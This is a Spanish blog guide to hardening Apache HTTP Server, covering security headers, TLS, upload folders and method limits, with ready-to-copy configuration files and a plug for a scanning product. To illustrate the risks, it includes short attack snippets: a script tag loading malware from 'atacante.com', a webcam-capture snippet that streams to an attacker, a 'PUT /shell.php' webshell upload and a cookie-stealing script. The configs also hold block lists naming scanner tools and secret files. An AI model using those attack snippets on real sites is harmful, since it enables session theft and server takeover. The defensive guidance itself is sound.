Hardening de Apache: La Guía para Amplificar tu Seguridad (con todo lo que puede salir mal si no lo haces) Cada configuración predeterminada de Apache que ignoras es una puerta entreabierta. Esta guía te muestra exactamente qué significa cada una en la práctica — y cómo cerrarlas, una por una.
Cada configuración predeterminada de Apache que ignoras es una puerta entreabierta. Esta guía te muestra exactamente qué significa cada una en la práctica — y cómo cerrarlas, una por una.
Apache HTTP Server es uno de los servidores web más utilizados del planeta desde hace más de 25 años. Y precisamente por eso, también es uno de los objetivos más estudiados por los atacantes. Su configuración predeterminada está diseñada para funcionar en cualquier lugar, no para ser segura en cualquier lugar. Esta diferencia es lo que separa un servidor saludable de uno que se convierte en titular.
En esta guía, vamos a pasar por cada elemento de hardening explicando tres cosas:
Al final, tendrás un Apache listo para producción y entenderás exactamente por qué cada línea está ahí.
Cuando Apache responde a cualquier solicitud, incluye un header Server que por defecto contiene algo como esto:
Server: Apache/2.4.52 (Ubuntu)
Y en páginas de error (404, 500, 403), agrega un pie de página:
Apache/2.4.52 (Ubuntu) Server at example.com Port 443
Puede parecer inofensivo. No lo es.
Imagina que estás ejecutando Apache 2.4.52 en Ubuntu. Un atacante que escanea Internet con Shodan, Censys o un simple script Python descubre tu servidor. En segundos:
/var/www/html), dónde están los logs, quién es el usuario que ejecuta el servicio (www-data).El costo de que un atacante descubra todo esto pasó de "horas de reconocimiento" a "una solicitud HTTP". Le ahorraste trabajo.
Lo peor: escáneres automatizados como Mirai y sus derivados escanean Internet 24/7 buscando exactamente versiones vulnerables específicas. No es personal — es industrial.
En /etc/apache2/conf-enabled/security.conf (Debian/Ubuntu) o /etc/httpd/conf/httpd.conf (RHEL/CentOS/Rocky):
# Muestra solo "Apache" en el header Server, sin versión ni SO
ServerTokens Prod
# Quita el pie de página de las páginas de error
ServerSignature Off
Después de esto, el header Server se convierte simplemente en Apache. El atacante aún sabe que es Apache (no hay forma de ocultarlo al 100%), pero perdió la versión y el sistema operativo. Ya no puede filtrar exploits específicos sin trabajo extra.
Importante: esto es "seguridad por obscuridad" y no reemplaza mantener el servidor actualizado. Pero reduce drásticamente el número de ataques automatizados que pueden encontrarte como objetivo viable.
Cada respuesta generada por una página PHP trae un header como:
X-Powered-By: PHP/8.1.2
El mismo problema de ServerTokens, con un agravante: las vulnerabilidades de PHP suelen ser mucho más críticas que las vulnerabilidades de Apache, porque PHP ejecuta código. Algunas de las CVEs más conocidas de los últimos años (CVE-2019-11043 en PHP-FPM, por ejemplo) permitían ejecución remota de código con una única solicitud bien formada.
Si el atacante sabe que estás ejecutando PHP 8.1.2, consulta las CVEs de esa versión exacta y lo intenta. Si tu versión es vulnerable y aún no ha sido parcheada, es game over.
Hay otro efecto secundario menos obvio: las herramientas de bug bounty y escáneres agresivos priorizan objetivos con versiones antiguas. Exponer tu versión es como colgar un cartel que diga "dispara aquí primero".
En php.ini (usa php --ini para descubrir la ruta exacta):
expose_php = Off
Reinicia Apache (o PHP-FPM, dependiendo de tu configuración). El header desaparece completamente.
Atención: si usas PHP-FPM, hay dos php.ini diferentes — uno para CLI y otro para FPM. Ajusta el del FPM (/etc/php/8.x/fpm/php.ini).
El método TRACE de HTTP fue creado en los años 90 para propósitos de debug — cuando envías un TRACE, el servidor te responde con la solicitud completa que recibió, intacta. Por defecto, Apache viene con TraceEnable On.
Existe un ataque conocido llamado Cross-Site Tracing (XST). La idea: usando JavaScript en una página comprometida, un atacante fuerza el navegador de la víctima a hacer un TRACE en el servidor objetivo. La respuesta incluye todos los headers — incluyendo cookies marcadas como HttpOnly, que normalmente JavaScript no puede leer.
Resultado: el atacante captura cookies de sesión que deberían ser inaccesibles y secuestra la sesión de la víctima. Funciona hasta hoy en servidores mal configurados.
Además, los escáneres de vulnerabilidad automatizados marcan TRACE habilitado como vulnerabilidad de severidad media, lo que afecta los puntajes de cumplimiento (PCI-DSS, por ejemplo, requiere TRACE deshabilitado).
TraceEnable Off
Listo. Sin efectos secundarios, sin impacto en aplicaciones reales. No conozco un único sitio legítimo que necesite TRACE habilitado en producción.
El header ETag se usa para caché: el navegador guarda el ETag de un archivo y, en la siguiente visita, pregunta al servidor "¿este archivo sigue teniendo ese ETag?". Si es así, el servidor responde 304 Not Modified y el navegador usa la versión local. Eficiente.
El problema: por defecto, Apache genera el ETag a partir del inode, tamaño y fecha de modificación del archivo. El inode es un número interno del sistema de archivos.
En sí, filtrar un inode parece tontería. Pero:
No es el fin del mundo, pero es trivial de corregir.
FileETag None
Aún tendrás caché funcionando a través de headers Last-Modified y Cache-Control — que son suficientes para cualquier caso real.
Apache no envía HSTS por defecto. Esto significa que incluso si tu sitio se ejecuta en HTTPS, un navegador que accede por primera vez aún habla HTTP en la primera solicitud — y solo después es redirigido.
Existe una clase de ataques llamada SSL Stripping, popularizada por la herramienta sslstrip. El escenario típico:
Con HSTS activo, el navegador se niega a hablar HTTP con ese dominio. Incluso si el atacante intercepta, el navegador muestra un error insuperable y bloquea la conexión.
Header always set Strict-Transport-Security "max-age=63072000; includeSubDomains; preload"
Lo que significa cada parte:
max-age=63072000 — el navegador debe forzar HTTPS durante 2 años desde la última visitaincludeSubDomains — aplica también a todos los subdominios (¡cuidado! ver advertencia abajo)preload — solicita inclusión en la lista codificada en navegadores (Chrome, Firefox, Safari)ADVERTENCIA CRÍTICA: una vez aplicado, el navegador "recuerda" el HSTS por el max-age definido. Si tu certificado expira, o si necesitas acceder al sitio vía HTTP por alguna razón, no hay vuelta atrás — el usuario queda bloqueado. Comienza con max-age=300 (5 minutos) durante las pruebas, valida todo, y solo entonces aumenta al valor de producción.
Sobre includeSubDomains: si tienes legado.ejemplo.com que aún solo habla HTTP, esta directiva va a romper el acceso a él. Verifica todos los subdominios antes de aplicar.
Sin este header, cualquier sitio en Internet puede cargar el tuyo dentro de un <iframe>. Sí, cualquiera.
El ataque se llama clickjacking y funciona así:
opacity: 0Casos reales ya han sucedido con Twitter, Facebook, banca por Internet. Es un vector especialmente peligroso para paneles administrativos.
Header always set X-Frame-Options "SAMEORIGIN"
Esto permite que solo tu propio dominio coloque el sitio en iframe. Para bloquearlo completamente, usa DENY. Para permitir un dominio específico, usa la directiva más moderna Content-Security-Policy: frame-ancestors (que veremos en el elemento 9).
Cuando un navegador recibe un archivo y el Content-Type parece extraño o está ausente, intenta adivinar el tipo de archivo mirando el contenido. Este comportamiento se llama "olfateo MIME".
Escenario clásico: tu sitio permite cargar avatares de imágenes. Validas que el archivo sea un PNG verificando la extensión. El atacante envía un archivo llamado foto.png cuyo contenido es, en realidad, JavaScript:
<script>robasCookies()</script>
Guardas el archivo, queda en /uploads/foto.png. Cuando otra víctima accede a esa URL, el servidor responde con Content-Type: image/png. Pero el navegador mira el contenido, ve que tiene <script>, y piensa: "¡Ah, eso parece HTML!" — y lo ejecuta como HTML. El JavaScript se ejecuta en el contexto de tu dominio. XSS almacenado en pocos pasos.
Este era un ataque devastador en Internet Explorer de los años 2000, pero aún funciona en navegadores modernos en ciertas condiciones.
Header always set X-Content-Type-Options "nosniff"
Este header fuerza a los navegadores a respetar el Content-Type enviado, sin intentar adivinar. Es una línea. Actívalo siempre.
Cuando un usuario hace clic en un enlace en tu sitio hacia un sitio externo, el navegador envía un header Referer (sí, con error de ortografía — es histórico) informando al destino exactamente de cuál URL vino. Por defecto, esto incluye la URL completa.
Imagina que tu sistema tiene URLs como:
https://misistema.com/admin/usuarios?token=eyJhbG...
O:
https://misistema.com/resetear-contraseña?key=abc123def456
O incluso:
https://mihospital.com/paciente/juan-silva-dni-12345/examenes
Si el usuario hace clic en un enlace externo en esa página (o si la página carga una imagen de otro dominio), toda esa URL se envía al dominio externo, que la verá en sus logs. Tokens, IDs, datos personales — todo filtrándose.
Esto ya ha causado filtraciones famosas — el caso más conocido es el de sistemas de salud estadounidenses que filtraron identificadores de pacientes a Facebook por culpa de píxeles de seguimiento.
Header always set Referrer-Policy "strict-origin-when-cross-origin"
Lo que hace esta política:
https://misistema.com), sin ruta ni query stringEs un muy buen equilibrio entre privacidad y funcionalidad.
Sin CSP, el navegador ejecuta cualquier JavaScript que aparezca en la página, de cualquier origen. Carga imágenes de cualquier lugar. Acepta estilos de cualquier fuente. Se conecta a cualquier servidor vía fetch().
CSP es la defensa moderna más poderosa contra Cross-Site Scripting (XSS) — y XSS es, según OWASP, una de las vulnerabilidades web más comunes desde hace más de 20 años.
Escenario sin CSP:
<script>)<script src="https://atacante.com/malware.js"></script>Con CSP bien configurada, el navegador simplemente se niega a cargar el script de atacante.com, incluso si está inyectado en el HTML. La vulnerabilidad XSS sigue existiendo en el código, pero el impacto es cero.
Header always set Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' data:; connect-src 'self'; frame-ancestors 'self'; base-uri 'self'; form-action 'self'"
Descifrando:
default-src 'self' — por defecto, solo carga cosas del propio dominioscript-src 'self' — JavaScript solo del propio dominio (sin inline, sin CDN externo)style-src 'self' 'unsafe-inline' — CSS del propio dominio + permite estilos inline (necesario para muchos frameworks)img-src 'self' data: https: — imágenes del propio dominio, data URIs y cualquier HTTPSconnect-src 'self' — fetch/XHR solo al propio dominioframe-ancestors 'self' — reemplaza el X-Frame-Options modernobase-uri 'self' — impide que <base> sea inyectado para cambiar la ruta baseform-action 'self' — formularios solo pueden enviar al propio dominioCSP es el header más difícil de configurar. La política anterior va a romper sitios que usan Google Analytics, Google Fonts, jQuery vía CDN, mapas incrustados, etc. Siempre prueba primero con Content-Security-Policy-Report-Only, que solo reporta violaciones sin bloquear. Úsalo durante algunos días, monitorea los logs del navegador, ajusta, y solo entonces cambia a Content-Security-Policy real.
Sin este header, cualquier página de tu sitio puede solicitar acceso a cámara, micrófono, geolocalización, USB, sensores de movimiento, etc. Incluso si tu página nunca usa esto, si hay un XSS, el atacante puede inyectar código que solicite estos accesos.
Imagina un XSS en tu sitio corporativo. Un atacante inyecta:
navigator.mediaDevices.getUserMedia({ video: true, audio: true })
.then(stream => /* envía stream al servidor del atacante */)
La víctima ve el popup de "¿permitir cámara?" — y como está en un sitio que confía, hace clic en permitir. Listo: webcam y micrófono del ejecutivo de la empresa, transmitiendo en vivo al atacante.
Header always set Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=()"
Esto bloquea completamente estas APIs. Si tu aplicación realmente necesita una de ellas (una página específica que usa cámara), la habilitas solo para ese origen usando camera=(self).
Sin estos headers, tu ventana comparte un proceso con otras ventanas que pueden haber sido abiertas desde tu sitio, y tus recursos pueden ser cargados por cualquier origen.
Después de los ataques Spectre y Meltdown (2018), se descubrió que era posible, vía JavaScript, leer memoria de otros procesos del navegador a través de canales laterales de la CPU. La defensa: aislar procesos por origen.
same-origin, el navegador garantiza que tu ventana está en un proceso aislado de las ventanas de otros orígenesHeader always set Cross-Origin-Opener-Policy "same-origin"
Header always set Cross-Origin-Resource-Policy "same-origin"
# COEP solo si no incrustas recursos de terceros
Header always set Cross-Origin-Embedder-Policy "require-corp"
Advertencia sobre COEP: el require-corp rompe cualquier recurso de terceros que no envíe el header Cross-Origin-Resource-Policy. Si tu sitio incrustra YouTube, mapas Google, fuentes de CDN, etc., quita COEP o cambia a unsafe-none.
Apache acepta prácticamente todos los métodos HTTP por defecto, incluyendo PUT, DELETE, OPTIONS, CONNECT, PATCH. Si hay algún módulo mal configurado (o un WebDAV antiguo olvidado), métodos como PUT pueden permitir carga arbitraria de archivos.
Hay casos documentados de servidores Apache con WebDAV habilitado por error donde los atacantes hacían PUT /shell.php e instalaban una webshell en segundos. Game over total — ejecución remota de código con una única solicitud.
Incluso sin WebDAV, los métodos peligrosos habilitados aparecen en escáneres de vulnerabilidad e impactan el cumplimiento.
Restringir los métodos en el <Directory> raíz:
<Directory /var/www/html>
<LimitExcept GET POST HEAD>
Require all denied
</LimitExcept>
</Directory>
Si tu aplicación es una API REST que necesita PUT, DELETE y PATCH, ajusta:
<LimitExcept GET POST HEAD PUT DELETE PATCH OPTIONS>
Require all denied
</LimitExcept>
En muchas configuraciones, si accedes a una URL de carpeta (/uploads/) y no hay un index.html adentro, Apache lista todos los archivos de la carpeta. Bonito, organizado, con fecha y tamaño.
Escenarios reales:
/backups/ — listando todos los dumps de bases de datos/uploads/ — todos los documentos enviados por usuarios, incluyendo PDFs internos/.git/ — todo el histórico del código fuente/old/ — versiones antiguas del sitio con vulnerabilidades ya corregidas en la versión nuevaYa he visto esto filtrar contratos confidenciales, dumps de base de datos con hashes de contraseñas, código fuente completo de aplicaciones comerciales, y (en un caso particularmente desagradable) fotos personales de empleados que habían subido el contenido de la carpeta de fotos equivocada.
En el <Directory> o en un .htaccess:
Options -Indexes
Y para garantizar defensa en profundidad, bloquea el acceso directo a archivos sensibles:
<FilesMatch "(^\.|\.(bak|backup|swp|old|sql|sql\.gz|tar|tar\.gz|zip|log|env|ini|conf|config|yml|yaml|json|lock)$|composer\.(json|lock)|package(-lock)?\.json|\.git|\.svn|\.htaccess|\.htpasswd|wp-config\.php)">
Require all denied
</FilesMatch>
E impide el acceso a cualquier archivo/carpeta que comience con .:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule "(^|/)\." - [F]
</IfModule>
Esto protege .git, .env, .svn, .htaccess, .DS_Store, etc.
Por defecto, Apache ejecuta PHP en cualquier carpeta dentro del DocumentRoot. Incluyendo la carpeta de cargas.
Combina esto con cualquier fallo de carga — filtrado débil de extensión, validación solo por MIME type, cualquier cosa — y tienes carga de webshell. El atacante envía shell.php, accede a /uploads/shell.php, y tiene acceso de ejecución de comandos en el servidor con el usuario de Apache.
Este es, desde hace más de 15 años, uno de los patrones de compromiso más comunes en sitios WordPress, Joomla, y cualquier aplicación PHP con gestión de cargas.
<Directory /var/www/html/uploads>
php_flag engine off
AddType text/plain .php .phtml .php3 .php4 .php5 .pht .phar
<FilesMatch "\.(php|phtml|php3|php4|php5|pht|phar)$">
Require all denied
</FilesMatch>
</Directory>
Tres capas de protección: deshabilita el motor PHP, fuerza las extensiones PHP a servirse como texto, y bloquea el acceso directo a archivos con esas extensiones. Defensa en profundidad.
En muchas distribuciones, Apache viene con soporte para SSLv3, TLS 1.0 y TLS 1.1 habilitados por defecto. Estos protocolos tienen vulnerabilidades conocidas (POODLE, BEAST, FREAK) y fueron oficialmente descontinuados por el IETF en 2021.
Incluso si tu navegador moderno negocia TLS 1.3, el hecho de que el servidor acepte TLS 1.0 significa que clientes maliciosos pueden forzar degradación. Además, cualquier certificación seria (PCI-DSS, ISO 27001, LGPD en algunas interpretaciones) requiere TLS 1.2 como mínimo.
SSLProtocol all -SSLv3 -TLSv1 -TLSv1.1
SSLCipherSuite ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384
SSLHonorCipherOrder off
SSLSessionTickets off
# OCSP Stapling — mejora rendimiento y privacidad de la validación del certificado
SSLUseStapling on
SSLStaplingCache "shmcb:logs/ssl_stapling(32768)"
Para generar una configuración personalizada (incluyendo perfiles "modern", "intermediate" y "old" para diferentes niveles de compatibilidad), usa el Mozilla SSL Configuration Generator.
Apache acepta solicitudes de tamaño arbitrario. Sin límite.
Un atacante puede enviar un POST de 4GB a cualquier endpoint de tu sitio y agotar la memoria del servidor. Repitiéndolo desde varios orígenes, derriba el servidor sin necesidad de botnet. Es un DoS aficionado, pero funciona.
# Limita cargas a 10MB por solicitud (ajusta según tu necesidad)
LimitRequestBody 10485760
Para endpoints específicos que necesitan aceptar cargas más grandes (por ejemplo, carga de vídeo), define el límite localmente.
Aquí está el archivo completo listo para copiar. Guarda en /etc/apache2/conf-available/security-hardening.conf y activa con:
sudo a2enconf security-hardening
sudo apachectl configtest
sudo systemctl restart apache2
# ============================================================
# SECURITY HARDENING - Apache HTTP Server
# Coloca en /etc/apache2/conf-available/security-hardening.conf
# Activa con: sudo a2enconf security-hardening
# ============================================================
# --- Ocultar versiones e información del servidor ---
ServerTokens Prod
ServerSignature Off
TraceEnable Off
FileETag None
# --- Headers de seguridad HTTP ---
<IfModule mod_headers.c>
# Fuerza HTTPS por 2 años (CUIDADO: ¡comienza con max-age=300 para probar!)
Header always set Strict-Transport-Security "max-age=63072000; includeSubDomains; preload"
# Anti-clickjacking
Header always set X-Frame-Options "SAMEORIGIN"
# Anti olfateo MIME
Header always set X-Content-Type-Options "nosniff"
# Controla filtración de URL vía Referer
Header always set Referrer-Policy "strict-origin-when-cross-origin"
# Bloquea APIs sensibles del navegador
Header always set Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=()"
# CSP base (¡PRUEBA primero con Content-Security-Policy-Report-Only!)
Header always set Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' data:; connect-src 'self'; frame-ancestors 'self'; base-uri 'self'; form-action 'self'"
# Aislamiento de origen cruzado
Header always set Cross-Origin-Opener-Policy "same-origin"
Header always set Cross-Origin-Resource-Policy "same-origin"
# COEP solo si NO incrustas recursos de terceros:
# Header always set Cross-Origin-Embedder-Policy "require-corp"
# Quita headers que filtran información
Header always unset X-Powered-By
Header always unset Server
Header unset X-Powered-By
Header unset Server
</IfModule>
# --- Bloqueo de métodos HTTP peligrosos ---
<Directory /var/www/html>
Options -Indexes -Includes -ExecCGI
AllowOverride None
Require all granted
<LimitExcept GET POST HEAD>
Require all denied
</LimitExcept>
</Directory>
# --- Bloqueo de archivos sensibles ---
<FilesMatch "(^\.|\.(bak|backup|swp|old|sql|sql\.gz|tar|tar\.gz|zip|log|env|ini|conf|config|yml|yaml|json|lock)$|composer\.(json|lock)|package(-lock)?\.json|\.git|\.svn|\.htaccess|\.htpasswd|wp-config\.php)">
Require all denied
</FilesMatch>
# --- Bloqueo de carpetas/archivos que comienzan con . ---
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule "(^|/)\." - [F]
</IfModule>
# --- Carpeta de cargas sin ejecución de PHP ---
<Directory /var/www/html/uploads>
php_flag engine off
AddType text/plain .php .phtml .php3 .php4 .php5 .pht .phar
<FilesMatch "\.(php|phtml|php3|php4|php5|pht|phar)$">
Require all denied
</FilesMatch>
</Directory>
# --- Límite de tamaño de solicitud ---
LimitRequestBody 10485760
# --- SSL/TLS fuerte ---
<IfModule mod_ssl.c>
SSLProtocol all -SSLv3 -TLSv1 -TLSv1.1
SSLCipherSuite ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384
SSLHonorCipherOrder off
SSLSessionTickets off
SSLUseStapling on
SSLStaplingCache "shmcb:logs/ssl_stapling(32768)"
</IfModule>
Y el .htaccess complementario (para alojamiento compartido o entornos donde no tienes acceso al conf principal):
# .htaccess - colocar en la raíz del sitio
<IfModule mod_rewrite.c>
RewriteEngine On
# Fuerza HTTPS
RewriteCond %{HTTPS} !=on
RewriteRule ^ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]
# Bloquea acceso a archivos/carpetas que comienzan con punto
RewriteRule "(^|/)\." - [F]
# Bloquea user agents de escáneres maliciosos comunes
RewriteCond %{HTTP_USER_AGENT} (nikto|sqlmap|fimap|nessus|whatweb|jbrofuzz|libwhisker|webshag|grabber|dirbuster) [NC]
RewriteRule .* - [F,L]
</IfModule>
# Bloquea listado de directorios
Options -Indexes
# Bloquea archivos sensibles
<FilesMatch "(^\.|\.(bak|backup|swp|old|sql|sql\.gz|tar|tar\.gz|zip|log|env|ini|conf|config|yml|yaml|json|lock)$|composer\.(json|lock)|package(-lock)?\.json|\.git|\.svn|\.htaccess|\.htpasswd|wp-config\.php)">
Require all denied
</FilesMatch>
# Límite de carga (10MB)
LimitRequestBody 10485760
Después de aplicar todo:
# Valida sintaxis de Apache
sudo apachectl configtest
# Reinicia
sudo systemctl restart apache2
# Prueba headers
curl -I https://tudominio.com
Usa también herramientas externas:
ServerTokens Prod y ServerSignature OffTraceEnable OffFileETag Noneexpose_php = Off en php.iniheaders, rewrite, ssl habilitadosOptions -Indexes aplicadoFilesMatchHardening no es un evento, es un proceso continuo. ¿Aplicaste todo esto hoy? Excelente. Pero mañana alguien va a instalar un plugin nuevo en WordPress, alguien va a actualizar PHP y resetear configuraciones, alguien va a poner un archivo de backup en una carpeta pública "solo por un instante", alguien va a habilitar TRACE para debug y olvidarse.
La única forma realista de mantener un servidor seguro a largo plazo es monitorear continuamente — alguna herramienta tiene que estar mirando, todos los días, si algo cambió a peor.
Es exactamente para eso que existe SentinelHub: escáner continuo de seguridad web, con alertas en tiempo real cuando algo cambia, descripciones en español, reportes listos para mostrar al jefe, y detección de todo lo que esta guía cubrió (y mucho más).
Próximo post de la serie: Hardening de Nginx — mismos principios, configuración diferente, algunos trucos exclusivos. No te lo pierdas.
¿Te gustó? Comparte con el sysadmin de tu empresa. ¿Crees que debería haber leído esto ayer? Probablemente sí.